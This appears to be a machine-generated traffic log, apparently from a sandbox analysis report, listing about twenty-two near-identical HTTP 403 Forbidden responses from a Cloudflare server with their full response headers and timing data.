Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:32 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RAwNNavxR9Z%2BFNWtAKnaiB9qd6x0LLCWo%2Bh%2BNO0%2BkfcDaCslZQRl5uo%2BFyKfluwaSuaWC6%2F7TeXCusGZ%2Fu6naC1GKQHuvGSTPF2J1pretoZaJgZ01x8ADKruktw9hg%2FG3B2LtQ59v70YWyoY"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b89be8a4432b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1590&rtt_var=600&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1819314&cwnd=190&unsent_bytes=0&cid=180742e19d83f69f&ts=148&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:33 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qSsmdHADCnuJUVHsPyNWqVjgU7E4UkKTiUz9y7X%2BF2Q7SrwsU2IwrPbfKftgypGYZSLAXEcH9f5Kv1JrSgCOWHphc8kIPFBsiBAMUD%2B5OeRpFgEhWe6xCfEjLh72d5QBGpVHtc%2FTKlkbtDLg"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b89f9882c338-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1494&min_rtt=1489&rtt_var=568&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1909744&cwnd=228&unsent_bytes=0&cid=a864bc6e8270f766&ts=135&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:33 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qF5GcDQAT4ZPeDUPJq42wCemMosvoHlwwtI9kdiK9w5bHKeni8OxO9jlfdCfTuPZIqyheS0vCAwGZLBuMYBlKS7xSATVhN6Uau57ak1GEkz6x8Ivm63kJeg9bqh2yT7sgSexEKbjSB%2F6bjaC"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8a359607cf6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1920&min_rtt=1910&rtt_var=737&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1463659&cwnd=193&unsent_bytes=0&cid=96ed5cf32014fd81&ts=139&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:34 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=crtrltAM9qTcGSdETFU9RPdY%2BY0sq5HdUSnh66HjfxSrLynDh5ol1m4QXxEvvRunR7iA2ZSGvxXClZ6Bh2%2Bu5CEZMxGC6Aie0kEfRbYE9JbsowHxEtsaJJS17xDjlMBRP7%2F%2FkoLX0LwHT2Vz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8a6f99b426a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1758&min_rtt=1756&rtt_var=663&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1645997&cwnd=225&unsent_bytes=0&cid=aab2ee2999508df6&ts=128&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:34 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=li%2F5yMLc8e86clwhiQ%2F0GHGmLeHwsmZ0v8rinNBHPLzZWEWx0MmBXPPjLAacbjHlQd3kqlRBUleopsQ0EnDr4%2BcSJNSweD9YWyKU%2FwZRcpfi95zXBQoSyBFQc1AwEZpTKLIAq2SWsMSXasZl"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8aaaa469dff-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2048&min_rtt=2002&rtt_var=844&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1228956&cwnd=244&unsent_bytes=0&cid=bb4238a3e1447779&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:20 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:35 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o8vzQskus%2B%2FWJxPKJF%2FYRsHwzuvxmlZlmL9Rl%2FeIw2z4F8YtUCf0eOJTZsAy%2BDNTKvLmtTqmzzj8kCBs76AD%2BBHIvrSwII57oZdT6wq3mtaUhp2J7tKOLpFTYyZbDcw9MphglEJoyuRyhlja"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8ae8f9def9f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2024&min_rtt=2018&rtt_var=770&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1409946&cwnd=219&unsent_bytes=0&cid=144eb9514b310632&ts=148&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:36 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cNUfnWb3lxbF%2BPxX4XqBzTZJVumPG6uuRmZHBYghPl31JzgY%2FrWSwoeyQxIK7wSU9NNidhIBz9zszI%2FCkBpcktig5ra1cVoZ7BJzJYYdM5gtfzl7n4ts%2FIAFh8fItjlD7zPwOOTsDfrd4r6S"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8b24a370c8a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1543&min_rtt=1538&rtt_var=580&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1898569&cwnd=108&unsent_bytes=0&cid=2e117247e7b7854d&ts=131&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:36 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VCcfCIa2UryKMR3fvd1OzGgpgfOpvr2aWhd8J055euN5xkd3xutFMkdMt5%2FvKQ2H35U5Wnl0BKx65hrFdrbCHtZ4kO5VFMpUh55JHv2gKnqdejU90T2UbTS5z8hacyZsTLCz%2BH%2B61XTUpooX"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8b62a200f89-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1564&min_rtt=1546&rtt_var=593&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1888745&cwnd=235&unsent_bytes=0&cid=de7d4c18cd88cfad&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:37 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4PYUntN5WVgnHGM3OAr8%2FW457tBW%2F6Dlkgtg1C4nLZANX2YhEuoRIXfip0RKqzyKySdEnL88gRtQx%2FGk9TTHSCq1kT5y9YNiNHSTHw7Yv%2BthWiUozz2F6scEcoV6Qc2HxekJ4nY2nSvx1WdJ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8bd1bab8c17-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1976&min_rtt=1964&rtt_var=745&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1486761&cwnd=231&unsent_bytes=0&cid=6482233f4d9d4966&ts=153&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:38 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p9q6vsVJrCAHxzs89vNvlZfIAkkJ5ReTGu9o9ZoFoJq4H7OV8MIMJ6jdm0zGKWXsfDZXVH%2BGoi7kufKLz6hhA%2BBQnBG8ADRK%2BkhG1G2EEICoRsl3N1zSMQpcDG8AuFnGfx0DtLJDpud%2F%2FItS"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8c0d8300f42-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1522&min_rtt=1511&rtt_var=589&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1825000&cwnd=180&unsent_bytes=0&cid=bc4c2a990b632cfd&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:39 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pejk71or5ZikbBPKAly1lgbj3BL5ocNcjUlVf26PYHFN8ZA%2BbFhCpb3HHns2Wn5Ix8gKbQ1biFTDiR47nMyRbfNmssh%2FvcM0hvBVp9B5w5RDI0FMft1ss1%2FziDugRafKV0330byH791nXTR4"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8c48dee0c74-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1506&min_rtt=1502&rtt_var=571&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1901041&cwnd=101&unsent_bytes=0&cid=506d2940d135b8f9&ts=136&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:39 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mg86iudeRjZ3xbfO%2BuBEdetez271QAy00d1YjVMQNHnQIWNQnM2JfABtE%2Fx1yPHy33%2FhRbOukFsEB7ibsQol3C7sQVbQmlpybN8vZ3q87uapjqeXWKO0TPETPyo1q822hbtAV%2F9OTd7IFMTT"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8c838017c84-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1984&min_rtt=1980&rtt_var=751&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1449131&cwnd=246&unsent_bytes=0&cid=1527c28bc4dd6651&ts=136&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:40 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f4w4fQLJL7Q7QQY9GJzoxbmHOpDgUGe0sZJAfqRrkyZJcDhhvpXVoQ8BdeGWTaqxn1FbzGNq5HfbiFINxVnPWrgd%2ByI8m1ySTr1GgAtDuN0OlLKGdaemsvwVw87n9KQFlAij4528%2F07b19YY"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8cc0d894382-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1595&min_rtt=1590&rtt_var=608&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1783750&cwnd=248&unsent_bytes=0&cid=1b336478d824c2ca&ts=133&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:40 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JuM50l6ny3P7FHVO5wtLfCD0tfpy9nJfRfJHB9j3c12aYxp0qMsISjbCNisOoYKv5YqOck4VDxOJJMvykVLujKkvZmA4U%2Bu6GHXlqRRd0tJ2z1l3UXuXrdtGnAfoTZHmL8CqkJLAvCfmAbP6"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8cfcaac0c84-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1467&min_rtt=1459&rtt_var=564&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1909744&cwnd=150&unsent_bytes=0&cid=87892ad2151b5531&ts=123&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:41 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BbaQH6ubePCgOOrMxQD9K3vj6sropYKSAgN7dRk1AVNSarWLHHisNJr%2BGaaF3hGSxoRWZl3QQ5F9bDJQSw98cJV7GvyvteAfisgs5yhhbU%2FaZSLJBC1aY8LSqGqhkevN3%2FxMwT6ZtMqudr4A"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8d3f9b77277-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2039&min_rtt=1996&rtt_var=835&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1246797&cwnd=225&unsent_bytes=0&cid=d86fa4dc44d78dab&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:42 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eeoY2x%2BE8N39E7RfNjP2HhIYvqyExZLwIWML5VHKxBnKIQsmu%2Br%2BLp4lMFMPJyWUa49Bd%2B5PhAv9GDaM9WXfw3TAxUtwWZBwSQYUtZdNx7b%2BqIVuifGJSIVkxQsy%2FeKsmdEdjP2uGBn0RvAw"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8d7cb8f7d18-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1990&min_rtt=1961&rtt_var=756&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1489036&cwnd=222&unsent_bytes=0&cid=5eaeed4fbcefafff&ts=135&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:42 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=URlSuJdn295bKaiC8%2FG80job3SmK6%2F%2ByGaqTeHzcDHQzyxnNobE2fVxPACsiRVhA649dXPqO%2FQVwEF%2Fjt0tyuc5t66nOVdIUmSO%2BeHm1oTYZdNBA3e%2Bj104skH2NIfamCGypLtTFGFJSHodp"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8dbad50efa3-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1992&min_rtt=1984&rtt_var=760&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1424390&cwnd=122&unsent_bytes=0&cid=63ee5da978aeede4&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:43 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VFAS%2FkhI091wm5dZJopVuJBDqnL9TX%2BltC1UO1gSHj1IYNrMRgptGstO2Jrm1FVE%2BhkO%2FOJg1BcJ2xCGM1m1498f2PcDKsU51mffoX9TtCezPUswrb%2F7m9BsSqpQxrWFU0Fc4il0R1Dj%2Bu%2Fx"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8df699478d0-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1978&min_rtt=1976&rtt_var=746&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1462925&cwnd=144&unsent_bytes=0&cid=ae12c457fb803cc1&ts=135&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:43 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gOQ52uYXWkxr1ASpdvAqtFgNm%2B6bAY98ZFdSp%2B33QAamVTazMe0vN8nHtM4%2FMY7KyDj7PBqkP7K8ndJePf%2Bn0A0vW5tVtw%2BVPtn%2F5juKm0OWGV6yQxVQnhonJhKRDqco6Y%2ByUDfDyBslpyI%2F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8e33ebd423e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2414&min_rtt=2402&rtt_var=925&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1167532&cwnd=197&unsent_bytes=0&cid=56aa178ee2cfdaf9&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:44 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iDpTPq2EBs2w%2F2nflZy1i7fo%2FzIjZT48EdUT9CZ57H8JpL7mFeFcqeQWbYoNrdOkHKOQKSKAY28U0ycvY5v1%2F5VIuIl8VHQbhw9E9ILvoql1QO4HiKNRrrZgFhYSyGOoWa6ofKxZoveGPdok"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8e6ee6e1921-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1626&min_rtt=1610&rtt_var=636&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1678160&cwnd=139&unsent_bytes=0&cid=9edad85fcfc9b450&ts=137&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:45 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YdXqFDPt6zluDmx2WhfGAC8E31w08gt7ZQIME5fhB1G5Zr2pXEs8tnvVezLgX46WiJXYi%2BDv0AmNWs8dENswhtwhhVfAw6Yw%2FkY%2BN5lyympe%2F%2B%2FL5cFXW%2FycKEKeBTn5uUp4vB7ZKhFw%2FYfg"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8ea9b5c42ca-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1768&min_rtt=1757&rtt_var=681&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1581798&cwnd=252&unsent_bytes=0&cid=c482ff90d0269bd9&ts=127&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:45 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vWibd5DFb%2B%2FWkHUkzjrI5LH%2FA1OhMWT6QNE9%2FCw9zaYgUokfZLDyEUjMRICIu0MfPQWals4BGJJqjKqsFvuoeXaCyRm4%2BvQcoQ6eDzSBCKtihKV0CYD8hrROONxwOzkR4%2B%2B5eELetsEZ%2Brfk"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8ee681c42df-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1749&min_rtt=1745&rtt_var=663&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1640449&cwnd=237&unsent_bytes=0&cid=c633cb8f684a32f1&ts=147&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:46 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6%2FGymrXA6TV8MGsjiH40iaJDVopSmQAY9wjd0cCc1OxD8Kznh%2BKKnAplXZHEYxoKi%2F%2FTokSgdDPyMYWzxamc%2Bh20O8gXs1DifKezzoIt1VxbumN0p9cgW2MpUtOOJHwfbbmS4RFBq%2BfwKXJJ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8f22c6b42b5-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1906&min_rtt=1893&rtt_var=736&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1460000&cwnd=221&unsent_bytes=0&cid=37d50b1aa10b36a6&ts=133&x=0"
